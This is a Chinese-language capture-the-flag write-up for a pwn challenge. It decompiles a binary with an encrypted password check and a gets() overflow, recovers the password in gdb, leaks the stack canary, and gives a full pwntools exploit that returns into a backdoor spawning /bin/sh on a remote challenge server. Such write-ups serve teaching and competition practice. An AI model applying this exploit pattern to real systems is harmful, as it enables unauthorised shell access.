Checksec & IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF
newthread[1] = __readfsqword(0x28u);
pthread_create(newthread, 0LL, (void *(*)(void *))work, 0LL);
pthread_join(newthread[0], 0LL);
return 0;
}
unsigned __int64 __fastcall work(void *a1)
{
char v2[256]; // [rsp+0h] [rbp-150h] BYREF
__int64 v3[2]; // [rsp+100h] [rbp-50h] BYREF
__int64 s2[2]; // [rsp+110h] [rbp-40h] BYREF
char buf[16]; // [rsp+120h] [rbp-30h] BYREF
char v6[24]; // [rsp+130h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+148h] [rbp-8h]
v7 = __readfsqword(0x28u);
v3[0] = 0xBA0033020LL;
v3[1] = 0xC0000000D00000CLL;
s2[0] = 0x706050403020100LL;
s2[1] = 0xF0E0D0C0B0A0908LL;
SEED_KeySchedKey(v2, v3);
SEED_Encrypt(s2, v2);
init_io();
puts("hopefully you have used checksec");
puts("enter your pass word");
read(0, buf, 0x10uLL);
if ( !memcmp(buf, s2, 0x10uLL) )
{
write(1, v6, 0x100uLL);
gets(v6);
}
else
{
read(0, v6, 0x10uLL);
}
return __readfsqword(0x28u) ^ v7;
}
首先分析源码:
main函数,个人理解是通过 pthread_create 函数创建并调用一个线程,创建的线程同等于 read(0,buf,0x28)。
这个buf通过 pthread_join 传递进了work函数,从而执行一系列其他函数。
word函数中,s2被加密,然后使用memcmp函数进行 buf 与 s2 的对比。如果 buf = s2 ,那么我们就可以利用栈溢出漏洞。
但是s2是加密的变量,因此我们需要通过gdb获取s2的内容。
首先把断点下在read函数之前,方便我们直接调试。
一路next直到 call memcmp
输入指令 x/8gx 0x7ffff7da0e10 可查询栈上对应地址内的内容。为什么是0x7ffff7da0e10呢?
因为memcmp那写着 s2 : 0x7ffff7da0e10 。
这两行就是0x7ffff7da0e10,也就是s2的内容。
接下来就是经典的ret2text了。
程序中埋藏了一个后门函数b4ckd00r,我们只需要调用即可。
int b4ckd00r()
{
return execv("/bin/sh", 0LL);
}
第一步:获取Canary的值:
我们可以使用一个足以溢出但是不溢出Canary的Payload即可获取Canary的值。
也就是 RBP - 0x08 大小的Padding。
Padding = b'A' * (0x20 - 0x08)
第二步:构造Exp:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#io = process('./service')
io = remote("1.14.71.254",28776)
elf = ELF('./service')
v2 = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)
backdoor = 0x401256
Padding = b'A' * (0x20 - 0x08)
io.recvuntil(b'word\n')
io.send(v2)
io.recv(0x18)
Canary = u64(io.recv(8))
log.success("Canary: " + (hex(Canary)))
Payload_Shell = Padding + p64(Canary) + p64(0) + p64(backdoor)
io.sendline(Payload_Shell)
io.interactive()
解释一下为什么需要recv(0x18)
因为
我们发送了16个字节的v2,也就是0x10大小的v2,我们还需要接收0x18大小的垃圾数据,之后的0x08才是我们的Canary。
p64(0) 是ROP链的返回地址,理论上填什么都行。
注意:一定不能使用sendline(v2),因为sendline会添加换行符,而read只接受16个字符,v2已经16个字符了。